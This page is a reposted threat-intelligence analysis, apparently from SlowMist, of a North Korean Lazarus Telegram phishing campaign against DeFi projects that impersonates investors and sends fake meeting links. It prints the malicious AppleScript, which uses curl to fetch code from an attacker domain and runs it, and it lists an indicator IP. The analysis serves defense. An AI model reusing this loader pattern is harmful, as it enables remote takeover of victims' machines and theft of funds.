朝鲜黑客 Telegram 定点欺诈攻击分析_每日快讯(专注热点分享网)

朝鲜黑客 Telegram 定点欺诈攻击分析


朝鲜黑客 Telegram 定点欺诈攻击分析

  2023-12-07 23:15:08     简体|繁體
http://news.qghjm.com/1014009.html

背景

早在 2022 年,慢雾安全团队就通过慢雾 BTI 情报网络发现朝鲜黑客 Lazarus 团伙开启针对加密货币行业的大规模 Telegram 欺诈钓鱼行动,近期朝鲜黑客更是开始冒充知名投资机构,对项目方进行欺诈钓鱼,鉴于影响范围较大,慢雾在此进行分析。

技战法

一、挑选知名投资机构作为冒充对象,然后建立虚假的 Telegram 帐号:

二、寻找知名的 DeFi 项目方作为目标,以要投资他们为名,使用虚假帐号开始实施骗局:

朝鲜黑客会先对目标发起聊天以建立联系,如果项目方看到消息且安全意识不足,就会出现下图的一幕:

朝鲜黑客骗取项目方的信任后便开始约会议,此处有两种攻击手法:

1. 邀请项目方加入如 ***.group-meeting.team 之类的会议,假装询问对方是否有时间安排会面或详谈,并主动提供恶意会议链接。项目方点击链接后会看到地区访问限制,这时朝鲜黑客会接着诱使项目方下载并运行其提供的“修改定位”的恶意脚本。一旦项目方照做,那么他的电脑就会被朝鲜黑客控制,导致资金被盗取。下面是恶意脚本 IP_Request.scpt 的内容:

set fix_url to "https://support.group-meeting.online/778188/request-for-troubleshooting"

set sc to do shell script "curl -L -k""& fix_url &"/""

run script sc

代码解释:

2. 利用 Calendly 会议预定系统的“添加自定义链接”在事件页面的功能,在事件上插入恶意链接发起钓鱼攻击。由于 Calendly 与大多数项目方的日常工作背景很好地融合在一起,因此这些恶意链接不容易引起怀疑,项目方容易无意中点击恶意链接,下载并执行恶意代码,此时朝鲜黑客同样可以获取到项目方系统相关信息或权限。

慢雾安全团队在 2023 年 11 月 30 日 也对相关攻击手法做过提醒:

基础 IOC:

IP: 104.168.137.21

Domains:

恶意攻击样例:

总结

鉴于此类诈骗行为仍在持续发生,建议 Web3 用户务必确保在添加好友时通过双重渠道确认对方的真实性,同时对 Telegram 开启双重身份验证(2FA),随时注意交易安全,以免遭受资金损失。

一旦不慎运行相关木马,请第一时间转移相关资金、断网杀毒,同时修改目标电脑上(包括浏览器里记录的)相关账号密码等信息。



编辑:web3528btc 来源:加密钱包代币

免责声明:以上文章内容信息均搜集自互联网或用户发布,并不代表本站观点或立场,本站不对其真实合法性负责。如有信息侵犯了您的权益,请联系本站将立即删除。
分享到:

  • 上一篇
    下一篇

  • 今日要闻|实事关注

    每日快讯(专注热点分享网)
    手机查看(二维码扫一扫)

    每日快讯网,最有影响力热点信息分类网站,覆盖品牌价值、汽车资讯、视频、基金、财经、房产、金融新闻、券商、公司等多类信息分享交流,免费提供最有价值的头条信息平台。
    « 2021年 » « 12月 »
    12345
    6789101112
    13141516171819
    20212223242526
    2728293031

    最新资讯

    空腹喝豆浆,是“养生神器”仍是“踩雷操作”?
  • 2025-06-03 07:19:00

     

    提醒中老年人:这4种食物越吃湿气越重,记得忌口!
  • 2025-06-03 07:14:57

     

    女性必看!出现这些症状,可能湿气太重了!
  • 2025-06-03 07:10:53

     

    乐坛女歌手获奖排名:孙燕姿排第二,周笔畅排第四,第一当之无愧
  • 2025-06-03 07:06:49

     

    《浪姐6》杨颖归来:争议逆袭,她的复出能否重燃星光?
  • 2025-06-03 07:02:46

     

    迪丽热巴终于等来她最爱的狗血剧情,沉浸式吃瓜太可爱!
  • 2025-06-03 06:58:42

     

    信用卡逾期协商怎么查询进度呢?只还本金可信吗?
  • 2025-06-03 06:54:39

     

    [代运营托管]百度(baidu)减肥/三高/翡翠/眼病/失眠切量/代运营,需要的老板可来联系
  • 2025-06-03 06:50:35

     

    [代运营托管]中医,食疗,图书,枕头 凉席,美容仪,小护士,治疗仪,血压计,水杯,泡脚桶,脚垫,老
  • 2025-06-03 06:46:31

     

    [代运营托管]中医,图书,食疗,护心仪,血压计,激光治疗仪,护心仪,注册65+,有好量,来聊
  • 2025-06-03 06:42:28

     

    [代运营托管]养生社群粉,血糖血压仪,眼袋,心脑,肺结节,痛风,风湿骨病,三高,肠胃,石斛需要可聊
  • 2025-06-03 06:38:24

     

    [代运营托管]中医养生,食疗养生,图书养生,血压计,激光治疗仪,护心仪,高注册,高转化,来聊
  • 2025-06-03 06:34:21

     

    [代运营托管]食疗养生,激光治疗仪,护心仪,银水杯,砂锅,夏凉枕,量大需要的来
  • 2025-06-03 06:30:32

     

    [代运营托管]腾讯视频中医养生 食疗 图书养生粉 护腰 护膝 枕头 心脑仪器量
  • 2025-06-03 06:26:14

     

    [开户代运营]海外媒体渠道谷歌、Facebook、Tik Tok等开户&代投
  • 2025-06-03 06:22:10